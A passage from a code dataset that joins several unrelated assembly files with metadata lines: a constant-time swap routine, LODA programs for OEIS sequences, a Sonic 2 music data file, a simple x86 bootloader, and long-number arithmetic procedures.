r8, r9 cmovc r9, r10 mov qword ptr [rsi + 0], r8 mov qword ptr [rdx + 0], r9 ;# cswap p1[1], p2[1] mov r8, qword ptr [rsi + 8] mov r9, qword ptr [rdx + 8] mov r10, r8 cmovc r8, r9 cmovc r9, r10 mov qword ptr [rsi + 8], r8 mov qword ptr [rdx + 8], r9 ;# cswap p1[2], p2[2] mov r8, qword ptr [rsi + 16] mov r9, qword ptr [rdx + 16] mov r10, r8 cmovc r8, r9 cmovc r9, r10 mov qword ptr [rsi + 16], r8 mov qword ptr [rdx + 16], r9 ;# cswap p1[3], p2[3] mov r8, qword ptr [rsi + 24] mov r9, qword ptr [rdx + 24] mov r10, r8 cmovc r8, r9 cmovc r9, r10 mov qword ptr [rsi + 24], r8 mov qword ptr [rdx + 24], r9 ;# cswap p1[4], p2[4] mov r8, qword ptr [rsi + 32] mov r9, qword ptr [rdx + 32] mov r10, r8 cmovc r8, r9 cmovc r9, r10 mov qword ptr [rsi + 32], r8 mov qword ptr [rdx + 32], r9 ;# cswap p1[5], p2[5] mov r8, qword ptr [rsi + 40] mov r9, qword ptr [rdx + 40] mov r10, r8 cmovc r8, r9 cmovc r9, r10 mov qword ptr [rsi + 40], r8 mov qword ptr [rdx + 40], r9 ;# cswap p1[6], p2[6] mov r8, qword ptr [rsi + 48] mov r9, qword ptr [rdx + 48] mov r10, r8 cmovc r8, r9 cmovc r9, r10 mov qword ptr [rsi + 48], r8 mov qword ptr [rdx + 48], r9 ;# cswap p1[7], p2[7] mov r8, qword ptr [rsi + 56] mov r9, qword ptr [rdx + 56] mov r10, r8 cmovc r8, r9 cmovc r9, r10 mov qword ptr [rsi + 56], r8 mov qword ptr [rdx + 56], r9 pop rsi pop rdi ret cswap2_e endp end
20.971209
78
0.594911
097098c78602af6e8563f455585a29b76369d68f
2,340
asm
Assembly
programs/oeis/227/A227327.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/227/A227327.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/227/A227327.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A227327: Number of non-equivalent ways to choose two points in an equilateral triangle grid of side n. ; 0,1,4,10,22,41,72,116,180,265,380,526,714,945,1232,1576,1992,2481,3060,3730,4510,5401,6424,7580,8892,10361,12012,13846,15890,18145,20640,23376,26384,29665,33252,37146,41382,45961,50920,56260,62020,68201,74844,81950,89562,97681,106352,115576,125400,135825,146900,158626,171054,184185,198072,212716,228172,244441,261580,279590,298530,318401,339264,361120,384032,408001,433092,459306,486710,515305,545160,576276,608724,642505,677692,714286,752362,791921,833040,875720,920040,966001,1013684,1063090,1114302,1167321,1222232,1279036,1337820,1398585,1461420,1526326,1593394,1662625,1734112,1807856,1883952,1962401,2043300,2126650,2212550,2301001,2392104,2485860,2582372,2681641,2783772,2888766,2996730,3107665,3221680,3338776,3459064,3582545,3709332,3839426,3972942,4109881,4250360,4394380,4542060,4693401,4848524,5007430,5170242,5336961,5507712,5682496,5861440,6044545,6231940,6423626,6619734,6820265,7025352,7234996,7449332,7668361,7892220,8120910,8354570,8593201,8836944,9085800,9339912,9599281,9864052,10134226,10409950,10691225,10978200,11270876,11569404,11873785,12184172,12500566,12823122,13151841,13486880,13828240,14176080,14530401,14891364,15258970,15633382,16014601,16402792,16797956,17200260,17609705,18026460,18450526,18882074,19321105,19767792,20222136,20684312,21154321,21632340,22118370,22612590,23115001,23625784,24144940,24672652,25208921,25753932,26307686,26870370,27441985,28022720,28612576,29211744,29820225,30438212,31065706,31702902,32349801,33006600,33673300,34350100,35037001,35734204,36441710,37159722,37888241,38627472,39377416,40138280,40910065,41692980,42487026,43292414,44109145,44937432,45777276,46628892,47492281,48367660,49255030,50154610,51066401,51990624,52927280,53876592,54838561,55813412,56801146,57801990,58815945,59843240,60883876,61938084,63005865,64087452,65182846,66292282,67415761,68553520,69705560,70872120,72053201,73249044,74459650,75685262,76925881,78181752,79452876,80739500,82041625 mov $14,$0 mov $16,$0 lpb $16 clr $0,14 mov $0,$14 sub $16,1 sub $0,$16 mov $11,$0 mov $13,$0 lpb $13 mov $0,$11 sub $13,1 sub $0,$13 mov $4,$0 mov $9,$0 div $9,2 mov $3,$9 pow $3,2 sub $4,$9 add $3,$4 add $12,$3 lpe add $15,$12 lpe mov $1,$15
80.689655
1,927
0.809829
20e135f0aa8bcecdcc84baaddc438bae90249e22
1,004
asm
Assembly
programs/oeis/267/A267623.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/267/A267623.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/267/A267623.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A267623: Binary representation of the middle column of the "Rule 187" elementary cellular automaton starting with a single ON (black) cell. ; 1,10,101,1011,10111,101111,1011111,10111111,101111111,1011111111,10111111111,101111111111,1011111111111,10111111111111,101111111111111,1011111111111111,10111111111111111,101111111111111111,1011111111111111111,10111111111111111111,101111111111111111111,1011111111111111111111,10111111111111111111111,101111111111111111111111,1011111111111111111111111,10111111111111111111111111,101111111111111111111111111,1011111111111111111111111111,10111111111111111111111111111,101111111111111111111111111111,1011111111111111111111111111111,10111111111111111111111111111111,101111111111111111111111111111111,1011111111111111111111111111111111,10111111111111111111111111111111111,101111111111111111111111111111111111 add $0,1 lpb $0 sub $0,1 mov $3,$2 cmp $3,0 add $4,$2 add $2,$3 mov $3,$4 cmp $3,0 add $4,$3 mod $2,$4 mul $4,10 lpe mov $0,$4 div $0,10
52.842105
703
0.849602
c9b51bda5672fc128b8539a4a4ab2a43b535adc3
11,654
asm
Assembly
s2/music-improved/8D - SCZ.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
9
2017-10-09T20:28:45.000Z
2021-06-29T21:19:20.000Z
s2/music-improved/8D - SCZ.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
12
2018-08-01T13:52:20.000Z
2022-02-21T02:19:37.000Z
s2/music-improved/8D - SCZ.asm
Cancer52/flamedriver
9ee6cf02c137dcd63e85a559907284283421e7ba
[ "0BSD" ]
2
2018-02-17T19:50:36.000Z
2019-10-30T19:28:06.000Z
SCZ_Header: smpsHeaderStartSong 2 smpsHeaderVoice SCZ_Voices smpsHeaderChan $06, $03 smpsHeaderTempo $01, $5B smpsHeaderDAC SCZ_DAC smpsHeaderFM SCZ_FM1, $F4, $12 smpsHeaderFM SCZ_FM2, $E8, $0E smpsHeaderFM SCZ_FM3, $F4, $09 smpsHeaderFM SCZ_FM4, $F4, $10 smpsHeaderFM SCZ_FM5, $DC, $24 smpsHeaderPSG SCZ_PSG1, $F4, $0C, $00, $00 smpsHeaderPSG SCZ_PSG2, $F9, $09, $00, $00 smpsHeaderPSG SCZ_PSG3, $00, $04, $00, fTone_04 ; FM4 Data SCZ_FM4: smpsSetvoice $03 SCZ_Loop03: smpsCall SCZ_Call07 smpsLoop $00, $02, SCZ_Loop03 SCZ_Jump03: smpsPan panRight, $00 smpsAlterNote $FE smpsAlterVol $14 smpsAlterPitch $E8 smpsSetvoice $04 smpsCall SCZ_Call05 smpsSetvoice $03 smpsAlterPitch $18 smpsAlterVol $EC smpsAlterNote $00 smpsPan panCenter, $00 SCZ_Loop04: smpsCall SCZ_Call07 smpsLoop $00, $08, SCZ_Loop04 smpsJump SCZ_Jump03 SCZ_Call07: dc.b nB6, $06, nG6, nA6, nD6, nB6, nG6, nA6, nD6 smpsReturn ; FM5 Data SCZ_FM5: smpsSetvoice $04 dc.b nRst, $60 SCZ_Jump02: smpsPan panLeft, $00 smpsAlterNote $02 smpsCall SCZ_Call05 smpsAlterNote $00 smpsPan panCenter, $00 smpsAlterVol $FB smpsCall SCZ_Call06 dc.b nD6, $03, $03, $06, smpsNoAttack smpsAlterVol $02 dc.b $02, smpsNoAttack smpsAlterVol $02 dc.b $02, smpsNoAttack smpsAlterVol $02 dc.b $02, nRst, $12, nC6, $06, nD6 smpsAlterVol $FA smpsCall SCZ_Call06 dc.b nD6, $30 smpsAlterVol $05 smpsJump SCZ_Jump02 SCZ_Call05: dc.b nG6, $30, nD6 smpsLoop $00, $04, SCZ_Call05 smpsReturn SCZ_Call06: dc.b nG6, $03, $03, $06, smpsNoAttack smpsAlterVol $02 dc.b $02, smpsNoAttack smpsAlterVol $02 dc.b $02, smpsNoAttack smpsAlterVol $02 dc.b $02, nRst, $1E smpsAlterVol $FA dc.b nD6, $03, $03, $06, smpsNoAttack smpsAlterVol $02 dc.b $02, smpsNoAttack smpsAlterVol $02 dc.b $02, smpsNoAttack smpsAlterVol $02 dc.b $02, nRst, $1E smpsAlterVol $FA dc.b nC6, $03, $03, $06, smpsNoAttack smpsAlterVol $02 dc.b $02, smpsNoAttack smpsAlterVol $02 dc.b $02, smpsNoAttack smpsAlterVol $02 dc.b $02, nRst, $1E smpsAlterVol $FA smpsReturn ; FM1 Data SCZ_FM1: smpsSetvoice $06 dc.b nRst, $06, nG4, $03, nA4, nG4, $0C, nB4, $03, nC5, nB4, $0C dc.b nD5, $03, nE5, nD5, $30 SCZ_Jump01: dc.b nRst, $12, nE6, $03, nFs6, nG6, $06, nFs6, nE6, nD6, nB5, $30 dc.b nRst, $12, nE6, $03, nG6, nA6, $06, nG6, nFs6, nE6, nD6, $03 dc.b nE6, nD6, nB5, $27, nRst, $12, nE6, $03, nG6, nFs6, $06, nD6 dc.b nB5, nE6, nD6, $30, nRst, $12, nE6, $03, nG6, nA6, $06, nG6 dc.b nFs6, nE6, nD6, $03, nE6, nD6, nB5, $27 smpsSetvoice $00 smpsCall SCZ_Call04 dc.b nB4, $0C, nG4, nA4, nG4, $06, nA4 smpsCall SCZ_Call04 dc.b nB4, $30 smpsJump SCZ_Jump01 SCZ_Call04: dc.b nB4, $0C, nG4, nA4, nD4 smpsLoop $00, $03, SCZ_Call04 smpsReturn ; FM3 Data SCZ_FM3: smpsAlterNote $02 smpsSetvoice $01 dc.b nRst, $06, nB4, $03, nC5, nB4, $0C, nD5, $03, nE5, nD5, $0C dc.b nG5, $03, nA5, nG5, $30 SCZ_Jump00: smpsSetvoice $05 smpsAlterVol $12 dc.b nRst, $12, nE6, $03, nFs6, nG6, $06, nFs6, nE6, nD6, nB5, $18 smpsSetvoice $01 smpsAlterVol $EE smpsNoteFill $0B dc.b nG5, $06, nD5, nE5, $03, nG5, $06 smpsNoteFill $00 dc.b $15 smpsSetvoice $05 smpsAlterVol $12 dc.b nE6, $03, nG6, nA6, $06, nG6, nFs6, nE6, nD6, $03, nE6, nD6 dc.b nB5, $0F smpsSetvoice $01 smpsAlterVol $EE dc.b nA5, $0C, nB5, nG5, $12 smpsSetvoice $05 smpsAlterVol $12 dc.b nE6, $03, nG6, nFs6, $06, nD6, nB5, nE6, nD6, $18 smpsSetvoice $01 smpsAlterVol $EE smpsNoteFill $0B dc.b nG5, $06, nD5, nE5, $03, nG5, $06 smpsNoteFill $00 dc.b $15 smpsSetvoice $05 smpsAlterVol $12 dc.b nE6, $03, nG6, nA6, $06, nG6, nFs6, nE6, nD6, $03, nE6 smpsSetvoice $01 smpsAlterVol $EE dc.b nB4, $03, nC5, nB4, $0C, nD5, $03, nE5, nD5, $0C, nG5, $03 dc.b nA5 smpsAlterVol $FC smpsCall SCZ_Call03 dc.b nG5, $2A, nA5, $03, nB5, $33 smpsCall SCZ_Call03 dc.b nG5, $24, nA5, $0C, nG5, $30 smpsAlterVol $04 smpsJump SCZ_Jump00 SCZ_Call03: dc.b nRst, $12, nG5, $03, nA5, nB5, $0C, nC6, $03, nB5, nC6, nD6 dc.b $27, nE6, $0C smpsReturn ; FM2 Data SCZ_FM2: smpsSetvoice $02 dc.b nRst, $51, nG3, $03, nA3, $06, nB3 SCZ_Loop02: dc.b nC4, $03, $0F, $03, $0C, nG4, $03, nA4, $06, nG4, nG3, $03 dc.b $0F, $0F, nD4, $03, nE4, $06, nD4 smpsLoop $00, $04, SCZ_Loop02 smpsCall SCZ_Call02 dc.b nA3, $03, $0F, $0C, $09, $09, nG3, $03, $0F, $0C, $06, nA3 dc.b nB3 smpsCall SCZ_Call02 dc.b nA3, $03, $0F, $0C, $06, nB3, nA3, nG3, $30 smpsJump SCZ_Loop02 SCZ_Call02: dc.b nC4, $03, $0F, $0C, $09, $09, nB3, $03, nB3, $0F, $0C, $06 dc.b nC4, nB3 smpsReturn ; DAC Data SCZ_DAC: smpsCall SCZ_Call00 smpsLoop $00, $02, SCZ_DAC SCZ_Loop00: smpsCall SCZ_Call00 smpsLoop $00, $03, SCZ_Loop00 smpsCall SCZ_Call01 smpsLoop $01, $03, SCZ_Loop00 SCZ_Loop01: smpsCall SCZ_Call00 smpsLoop $00, $03, SCZ_Loop01 dc.b dKick, $0C, nRst, nRst, dSnare, $06, dSnare, $03, dSnare smpsJump SCZ_Loop00 SCZ_Call00: dc.b dKick, $03, dKick, nRst, $06, dSnare, dKick, nRst, dKick, dSnare, $03, dKick dc.b $09 smpsReturn SCZ_Call01: dc.b dKick, $03, dKick, nRst, $06, dSnare, dKick, nRst, dKick, dSnare, dSnare, $03 dc.b dSnare smpsReturn ; PSG1 Data SCZ_PSG1: dc.b nRst, $60 SCZ_Loop05: dc.b nG4, $30, nFs4 smpsLoop $00, $04, SCZ_Loop05 smpsPSGAlterVol $FE dc.b nG4, $03, $03, $06, nRst, $24, nFs4, $03, $03, $06, nRst, $24 dc.b nE4, $03, $03, $06, nRst, $24, nD4, $03, $03, $06, nRst, $18 dc.b nE4, $06, nFs4, nG4, $03, $03, $06, nRst, $24, nFs4, $03, $03 dc.b $06, nRst, $24, nE4, $03, $03, $06, nRst, $24, nFs4, $30 smpsPSGAlterVol $02 smpsJump SCZ_Loop05 ; PSG2 Data SCZ_PSG2: dc.b nRst, $60 smpsPSGvoice fTone_08 SCZ_Jump05: dc.b nRst, $12, nD6, $03, nD6, nD6, $06, nD6, nD6, nD6, nD6, $30 dc.b nRst, $12, nD6, $03, nD6, nD6, $06, nD6, nD6, nD6, nD6, $03 dc.b nD6, nD6, nD6, $27, nRst, $12, nD6, $03, nD6, nD6, $06, nD6 dc.b nD6, nD6, nD6, $30, nRst, $12, nD6, $03, nD6, nD6, $06, nD6 dc.b nD6, nD6, nD6, $03, nD6, nD6, nD6, $27 smpsPSGAlterVol $01 dc.b nB4, $03, $03, $06, nRst, $24, nA4, $03, $03, $06, nRst, $24 dc.b nG4, $03, $03, $06, nRst, $24, nFs4, $03, $03, $06, nRst, $18 dc.b nG4, $06, nA4, nB4, $03, $03, $06, nRst, $24, nA4, $03, $03 dc.b $06, nRst, $24, nG4, $03, $03, $06, nRst, $24, nD4, $30 smpsPSGAlterVol $FF smpsJump SCZ_Jump05 ; PSG3 Data SCZ_PSG3: smpsPSGform $E7 smpsNoteFill $09 SCZ_Jump04: dc.b nMaxPSG, $0C smpsJump SCZ_Jump04 SCZ_Voices: ; Voice $00 ; $02 ; $62, $01, $34, $01, $59, $59, $59, $51, $04, $04, $04, $07 ; $01, $01, $01, $01, $12, $12, $12, $17, $1E, $19, $25, $80 smpsVcAlgorithm $02 smpsVcFeedback $00 smpsVcUnusedBits $00 smpsVcDetune $00, $03, $00, $06 smpsVcCoarseFreq $01, $04, $01, $02 smpsVcRateScale $01, $01, $01, $01 smpsVcAttackRate $11, $19, $19, $19 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $07, $04, $04, $04 smpsVcDecayRate2 $01, $01, $01, $01 smpsVcDecayLevel $01, $01, $01, $01 smpsVcReleaseRate $07, $02, $02, $02 smpsVcTotalLevel $00, $25, $19, $1E ; Voice $01 ; $3A ; $11, $1A, $00, $11, $89, $59, $4F, $4F, $0A, $0D, $06, $09 ; $00, $00, $00, $01, $1F, $FF, $0F, $5F, $20, $2E, $3B, $80 smpsVcAlgorithm $02 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $01, $00, $01, $01 smpsVcCoarseFreq $01, $00, $0A, $01 smpsVcRateScale $01, $01, $01, $02 smpsVcAttackRate $0F, $0F, $19, $09 smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $09, $06, $0D, $0A smpsVcDecayRate2 $01, $00, $00, $00 smpsVcDecayLevel $05, $00, $0F, $01 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $3B, $2E, $20 ; Voice $02 ; $3D ; $01, $42, $02, $22, $1F, $1F, $1F, $1F, $07, $00, $00, $00 ; $00, $0E, $0E, $0E, $24, $0F, $0F, $0F, $1C, $89, $89, $89 smpsVcAlgorithm $05 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $02, $00, $04, $00 smpsVcCoarseFreq $02, $02, $02, $01 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $1F, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $00, $00, $00, $07 smpsVcDecayRate2 $0E, $0E, $0E, $00 smpsVcDecayLevel $00, $00, $00, $02 smpsVcReleaseRate $0F, $0F, $0F, $04 smpsVcTotalLevel $09, $09, $09, $1C ; Voice $03 ; $04 ; $57, $07, $74, $54, $1F, $1B, $1F, $1F, $00, $00, $00, $00 ; $06, $0A, $00, $0D, $00, $0F, $00, $0F, $1A, $98, $25, $8F smpsVcAlgorithm $04 smpsVcFeedback $00 smpsVcUnusedBits $00 smpsVcDetune $05, $07, $00, $05 smpsVcCoarseFreq $04, $04, $07, $07 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $1F, $1B, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $00, $00, $00, $00 smpsVcDecayRate2 $0D, $00, $0A, $06 smpsVcDecayLevel $00, $00, $00, $00 smpsVcReleaseRate $0F, $00, $0F, $00 smpsVcTotalLevel $0F, $25, $18, $1A ; Voice $04 ; $07 ; $06, $7C, $75, $0A, $1F, $1F, $1F, $1F, $00, $00, $00, $00 ; $00, $00, $00, $00, $0F, $0F, $0F, $0F, $80, $80, $80, $80 smpsVcAlgorithm $07 smpsVcFeedback $00 smpsVcUnusedBits $00 smpsVcDetune $00, $07, $07, $00 smpsVcCoarseFreq $0A, $05, $0C, $06 smpsVcRateScale $00, $00, $00, $00 smpsVcAttackRate $1F, $1F, $1F, $1F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $00, $00, $00, $00 smpsVcDecayRate2 $00, $00, $00, $00 smpsVcDecayLevel $00, $00, $00, $00 smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $00, $00, $00, $00 ; Voice $05 ; $01 ; $05, $03, $05, $01, $0F, $0E, $CE, $10, $05, $02, $0B, $09 ; $08, $03, $00, $0A, $FF, $3F, $0F, $FF, $23, $1A, $21, $83 smpsVcAlgorithm $01 smpsVcFeedback $00 smpsVcUnusedBits $00 smpsVcDetune $00, $00, $00, $00 smpsVcCoarseFreq $01, $05, $03, $05 smpsVcRateScale $00, $03, $00, $00 smpsVcAttackRate $10, $0E, $0E, $0F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $09, $0B, $02, $05 smpsVcDecayRate2 $0A, $00, $03, $08 smpsVcDecayLevel $0F, $00, $03, $0F smpsVcReleaseRate $0F, $0F, $0F, $0F smpsVcTotalLevel $03, $21, $1A, $23 ; Voice $06 ; $3C ; $01, $02, $01, $02, $CF, $0D, $CF, $0C, $00, $08, $00, $08 ; $00, $02, $00, $02, $02, $27, $02, $28, $1E, $80, $1F, $80 smpsVcAlgorithm $04 smpsVcFeedback $07 smpsVcUnusedBits $00 smpsVcDetune $00, $00, $00, $00 smpsVcCoarseFreq $02, $01, $02, $01 smpsVcRateScale $00, $03, $00, $03 smpsVcAttackRate $0C, $0F, $0D, $0F smpsVcAmpMod $00, $00, $00, $00 smpsVcDecayRate1 $08, $00, $08, $00 smpsVcDecayRate2 $02, $00, $02, $00 smpsVcDecayLevel $02, $00, $02, $00 smpsVcReleaseRate $08, $02, $07, $02 smpsVcTotalLevel $00, $1F, $00, $1E
29.135
83
0.5659
a07c2a271e4f4175ae83249a7ceb1c8f1780830e
2,792
asm
Assembly
src/stage2/stage2.asm
devcfei/bootstrap-x86
c16824b76df59bc9305cfee10b07baa6e2c41dd7
[ "Unlicense" ]
null
null
null
src/stage2/stage2.asm
devcfei/bootstrap-x86
c16824b76df59bc9305cfee10b07baa6e2c41dd7
[ "Unlicense" ]
null
null
null
src/stage2/stage2.asm
devcfei/bootstrap-x86
c16824b76df59bc9305cfee10b07baa6e2c41dd7
[ "Unlicense" ]
null
null
null
%define org_start 7c00h boot: org 0x7C00 mov ax, cs mov ds, ax mov es, ax ;mov ax, 07E0h ; 07E0h = (07C00h+200h)/10h, beginning of stack segment. mov ax, 0800h ; 0800h = (07E00h+200h)/10h, beginning of stack segment. mov ss, ax mov sp, 2000h ; 8k of stack space. call screenClean push 0000h call cursorMove add sp, 2 push msg call printString add sp, 2 call sectorRead ;call sectorWrite jmp stage2 jmp $ screenClean: push bp mov bp, sp pusha mov ah, 07h ; tells BIOS to scroll down window mov al, 00h ; clear entire window mov bh, 07h ; white on black mov cx, 00h ; specifies top left of screen as (0,0) mov dh, 18h ; 18h = 24 rows of chars mov dl, 4fh ; 4fh = 79 cols of chars int 10h ; calls video interrupt popa mov sp, bp pop bp ret cursorMove: push bp mov bp, sp pusha mov dx, [bp+4] ; get the argument from the stack. |bp| = 2, |arg| = 2 mov ah, 02h ; set cursor position mov bh, 00h ; page 0 - doesn't matter, we're not using double-buffering int 10h popa mov sp, bp pop bp ret printString: push bp mov bp, sp pusha mov si, [bp+4] ; grab the pointer to the data mov bh, 00h ; page number, 0 again mov bl, 00h ; foreground color, irrelevant - in text mode mov ah, 0Eh ; print character to TTY .char: mov al, [si] ; get the current char from our pointer position add si, 1 ; keep incrementing si until we see a null char or al, 0 je .return ; end if the string is done int 10h ; print the character if we're not done jmp .char ; keep looping .return: popa mov sp, bp pop bp ret sectorRead: mov ax, 07c0h ; Set ES:BX to 07c0h:0200h mov es, ax mov bx, 200h mov al, 1 ; Sector count = 1 mov dl, 80h ; Hard disk 80h=C: 81h=D: mov dh, 0 ; Disk heads mov ch, 0 ; Disk cylinders mov cl, 2 ; Sector number mov ah, 2 ; Read int 13h ret sectorWrite: mov ax, 07c0h ; Set ES:BX to 07c0h:0200h mov es, ax mov bx, 200h mov al, 1 ; Sector count = 1 mov dl, 80h ; Hard disk 80h=C: 81h=D: mov dh, 0 ; Disk heads mov ch, 0 ; Disk cylinders mov cl, 3 ; Sector number mov ah, 3 ; Write int 13h ret msg: db "Booting...",13,0 msg_dot: db ".",13,0 fill: times 510-($-$$) db 0; dw 0xaa55 ; MBR signature ;================================================================= ; Stage 2 start from 07e00h ; Video RAM start 0x000b8000 ;================================================================= stage2: push 0100h call cursorMove add sp, 2 push msg2 call printString add sp, 2 push 0201h call cursorMove add sp, 2 vram: mov ax, 0b800h mov ds, ax mov di, 320 ; 160*2 the line 2 mov al, 'q' mov [di], al add di,1 mov ah, 0x4 mov [di], ah jmp $ msg2: db "Booting to Stage2...",13, 0 times ((0x400) - ($ - $$)) db 0x00
17.559748
74
0.61712
9c82fd0aa4a545ee0df6c5b25bd0e3a250b9b768
2,367
asm
Assembly
Lab4/longop.asm
YuriySavchenko/Assembler
d8ab6e8451d97255e639f0039f623ec00d5e9e2b
[ "Apache-2.0" ]
null
null
null
Lab4/longop.asm
YuriySavchenko/Assembler
d8ab6e8451d97255e639f0039f623ec00d5e9e2b
[ "Apache-2.0" ]
null
null
null
Lab4/longop.asm
YuriySavchenko/Assembler
d8ab6e8451d97255e639f0039f623ec00d5e9e2b
[ "Apache-2.0" ]
null
null
null
section .code ; procedure for adding number increased bit rate Add_608_LONGOP: push ebp mov ebp, esp mov esi, [ebp+16] ; ESI - adress of A mov ebx, [ebp+12] ; EBX - adress of B mov edi, [ebp+8] ; EDI - adress of Result mov ecx, 19 ; count of repeat mov edx, 0 ; number of 32-bit group clc ; set null bit CF for register EFLAGS .cycle: mov eax, dword [esi+4*edx] ; write A to register EAX adc eax, dword [ebx+4*edx] ; adding group of 32-bits mov dword [edi+4*edx], eax ; write result of adding of last 32-bit group to register EAX inc edx ; set counter for number of 32-bit group more on 1 point dec ecx ; set counter less on 1 point jnz .cycle ; while value in ECX not equal 0 we are repeat cycle pop ebp ; restoration stack ret 12 ; exit of procedure ; procedure for subtraction numbers increased bit rate Sub_512_LONGOP: push ebp mov ebp, esp mov esi, [ebp+16] ; ESI - adress of A mov ebx, [ebp+12] ; EBX - adress of B mov edi, [ebp+8] ; EDI - adress of Result mov ecx, 16 ; count of repeat mov edx, 0 ; number of 32-bit group clc ; set null bit CF for register EFLAGS .cycle: mov eax, dword [esi+4*edx] ; write A to register EAX sbb eax, dword [ebx+4*edx] ; subtruction group of 32-bits mov dword [edi+4*edx], eax ; write result of subtraction of last 32-bit group to register EAX inc edx ; set counter for number of 32-bit group more on 1 point dec ecx ; set counter less on 1 point jnz .cycle ; while value in ECX not equal 0 we are repeat cycle pop ebp ; restoration stack ret 12 ; exit of procedure
38.803279
108
0.461766
7a4258616cbf62d818a23da7ab43ff1b68a0e11b
871
asm
Assembly
programs/oeis/329/A329533.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/329/A329533.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/329/A329533.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A329533: First differences of A051924, or second differences of Central binomial coefficients A000984. ; 3,10,36,132,490,1836,6930,26312,100386,384540,1478048,5697720,22019556,85284920,330961950,1286562960,5009003250,19528599420,76231136520,297910080600,1165429743660,4563490674600,17884841191620,70148829799152,275344923755700,1081512966189656,4250730282412320 mov $2,$0 mov $6,2 lpb $6,1 mov $0,$2 sub $6,1 add $0,$6 sub $0,1 mov $4,2 mov $11,$0 lpb $4,1 mov $0,$11 sub $4,1 add $0,$4 add $0,1 mov $3,$4 mov $7,$0 add $7,$0 bin $7,$0 add $7,1 mov $9,$0 add $9,2 sub $7,$9 mov $10,$7 lpb $3,1 sub $3,1 mov $8,$10 lpe lpe lpb $11,1 sub $8,$10 mov $11,0 lpe mov $5,$6 mov $10,$8 lpb $5,1 mov $1,$10 sub $5,1 lpe lpe lpb $2,1 sub $1,$10 mov $2,0 lpe
18.531915
258
0.608496
4193d060e424c503558b3b2b162ea18318ec65b2
556
asm
Assembly
programs/oeis/121/A121801.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/121/A121801.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/121/A121801.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A121801: Expansion of 2*x^2*(3-x)/((1+x)*(1-3*x+x^2)). ; 0,6,10,32,78,210,544,1430,3738,9792,25630,67106,175680,459942,1204138,3152480,8253294,21607410,56568928,148099382,387729210,1015088256,2657535550,6957518402,18215019648,47687540550,124847601994,326855265440,855718194318,2240299317522,5865179758240,15355239957206,40200540113370,105246380382912,275538601035358,721369422723170,1888569667134144,4944339578679270 add $0,1 cal $0,226205 ; a(n) = F(n)^2 - F(n-1)^2 or F(n+1) * F(n-2) where F(n) = A000045(n), the Fibonacci numbers. mul $0,2 add $1,$0
69.5
361
0.769784
5b449f55d8693225cb9d752aaa5d1d92faa15714
284
asm
Assembly
wof/lcs/base/1AE.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
wof/lcs/base/1AE.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
wof/lcs/base/1AE.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 010A04 addq.w #4, A7 [base+1AE] 011396 bne $1138e [base+1AE] 01A610 dbra D1, $1a60e 053CE8 subq.b #1, ($1ae,A5) [base+1C9] 053CEC jmp $1552.w [base+1AE] copyright zengfr site:http://github.com/zengfr/romhack
28.4
54
0.683099
62aad8803bba796696e7a5b4d8a27133dd43d038
1,750
asm
Assembly
programs/oeis/280/A280321.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/280/A280321.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/280/A280321.asm
